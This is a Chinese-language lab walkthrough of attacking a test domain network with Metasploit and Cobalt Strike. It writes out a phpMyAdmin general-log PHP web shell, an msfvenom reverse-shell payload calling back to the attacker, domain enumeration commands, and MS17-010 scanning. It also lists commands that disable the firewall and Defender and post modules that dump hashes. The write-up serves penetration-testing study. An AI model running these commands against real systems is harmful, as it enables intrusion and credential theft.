这里打这个靶机主要是为了学习一下MSF和CS的联动和使用

搭建环境——->参考文章

最终形成的 IP 划分情况如下:

主机 ip地址
Win11 物理机 192.168.92.129
Win7 外网服务器 外网IP:192.168.92.128;内网IP:192.168.52.143
Win2003 域成员主机 内网IP:192.168.52.141
Win 2008 域控主机 内网IP:192.168.52.138
kali(MSF) 192.168.92.130

这里的就搭建完成了

win7能ping通所有人 但是所有人ping不通win7 因为win7防火墙过滤了icmp

win2003和win2008能互相ping通

外网打点getshell

就是访问外网服务器

image-20230919084153968

发现是一个php探针 如何发现下面存在一个mysql服务器的弱口令登录

image-20230919084258128

root/root

然后开扫描 查找这个mysql管理后台

image-20230919084526500

扫描发现存在phpmyadmin数据库管理后台 弱口令直接登录 root/root

phpmyadmin后台getshell的几种方法

  • select into outfile直接写入
  • 开启全局日志getshell
  • 使用慢查询日志getshell
  • 使用错误日志getshell
  • 利用PHPadmin4.8.x本地文件包含漏洞getshell

这里into outfile使用不了 使用的时候提示报错

image-20230919085108292

这个参数就是规定哪些路径可写的

image-20230919085245035

说明了所有路径都不可写 于是尝试日志getshell —->ctf常客了

1
2
3
4
SHOW VARIABLES LIKE '%general%' //查询日志是否开启  并且日志路径
SET GLOBAL general_log='on' //将日志开启
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php' //设置日志路径
SELECT '<?php eval($_POST["1"]);?>' //将马写入设置好的路径

image-20230919091138797

成功进行写入 使用蚁剑进行连接

发现已经是管理员账户了 不过是本地的而已

image-20230919091429250

CS上线

这里的话本来是想用msf的 结果老弹shell失败 说什么session无效 服了 所以就只能去弹cs了

image-20230919091621008

服务器启动

然后客户端连接

image-20230919091747685

这个要自己设置好 就是服务端开启时的listener 要设置为自己的服务器地址 否则会失败

image-20230919091854502

然后生成exe文件 通过蚁剑上传

image-20230919091947038

执行后就可以在cs看到机器上线了

(其实这里的话服务器应该时linux的 然后就开始对这个linux进行提权 然后开始域的信息收集了) ———-> 通过蚁剑

image-20230919092359415

然后wget传工具扫内网 挂隧道代理这样 不过影响不大 打这个靶机就是为了学习思路的

然后就是开始进行域的信息收集

net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group “domain admins” /domain # 查看域管理员的名字
net group “domain computers” /domain # 查看域中的其他主机名
net group “domain controllers” /domain # 查看域控制器主机名(可能有多台)

在beacon下执行 前面要加上shell 蚁剑或者其他工具就不需要了

如果cs上线的话也是可以在beacon命令行执行的

image-20230919093559018

image-20230919093642959

点上面的那个瞄准按钮就能看到域内所有的主机了

192.168.52.143 ——>是服务器内网地址

192.168.92.128 ———> 是服务器外网地址

192.168.52.141 和 192.168.52.138 是内网域内主机

谁是域控主机还需要信息收集一下

image-20230919095712856

OWA是域控主机 god.org是我们所处的域 那么上面的ROOT主机就是我们的普通域用户了

至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向渗透拿下域控!

域内横向渗透

接下来将通过 Win7 跳板机(就是通过让服务器为跳板机),横向渗透拿下内网域内的域成员主机和域控主机。

这里的话先让靶机弹一个meterpreter先 这里因为咱们的目标机器是 windows

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp //这里的话是看情况来定

set lhost xx.xx.xx.xx

set lport 1234

run

然后生成exe文件 通过蚁剑进行上传到windows服务器上

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.92.130 LPORT=1234 -f exe -o 3.exe

然后蚁剑 ——> start 3.exe 开始运行 这边msf就上线了

image-20230919150750372

上线成功

老样子知道了域内一共是存在两个机器 一个是域控主机 一个是普通用户 都是windows

MSF简单模块的使用

获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm判断靶机是否属于虚拟机(检查是否进入了蜜罐):

image-20230919151037655

再如调用 post/windows/gather/enum_applications模块枚举列出安装在靶机上的应用程序:

image-20230919151116220

这是收集的一些常用的模块

run post/windows/gather/enum_logged_on_users #查看登录过的用户信息

run post/windows/gather/enum_ad_groups #查看组信息

run post/windows/gather/enum_domain #定位域控

run post/windows/gather/enum_ad_computers #域内所有机器

use post/windows/gather/enum_patches #发现安装的补丁

use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞

run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash

下次上线msf后可以进行使用

MSF进行永恒之蓝攻击

image-20230919152043056

发现一共是打了这些补丁 没有打永恒之蓝的补丁 于是我们就可以进行攻击 先是来查看两个主机的端口开放了没有

静态路由配置

MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了

首先需要使用配置静态路由:

加载MSF的autoroute模块,获取当前机器的所有网段信息

meterpreter > run post/multi/manage/autoroute

添加目标内网路由

meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

//这里填这个52段是因为这个 内网地址就是这个段的

//这里可能会失败 不过影响不大 因为这个错误说明的是已经配置好了

image-20230919152522487

下面那步失败就是因为第一步的时候已经添加进去了

MSF内网端口扫描

现在路由可达内网网段,可以先对内网主机进行探测。

1、先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:

msf6 > use auxiliary/scanner/portscan/tcp

msf6 > set rhosts 192.168.52.141

msf6 > set ports 80,135-139,445,3306,3389

msf6 > run

image-20230919152813739

发现开启了445端口 于是就是去尝试是否存在永恒之蓝的这个漏洞

利用ms17-010进行攻击

对于开启了 445 端口的 Windows 服务器,肯定是要进行一波永恒之蓝扫描尝试的,借助 MSF 自带的漏洞扫描模块进行扫描:

msf6 > search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
msf6 >run #进行扫描,观察是否存在该漏洞

image-20230919153204857

同理 域控主机也是存在的

这里讲一个关闭这个防火墙和杀毒的方法

meterpreter —-> shell

netsh advfirewall set allprofiles state off #关闭防火墙

net stop windefend #关闭Windows defender

MSF开启远程桌面

run post/windows/manage/enable_rdp

这个指令能开启我们的跳板机的3389端口

这里的话不想往下写了 主要的目的就是为了了解一下这些工具的使用

这个靶机以后可以拿来测试一下 学到的方法

MSF中mimikatz的使用方法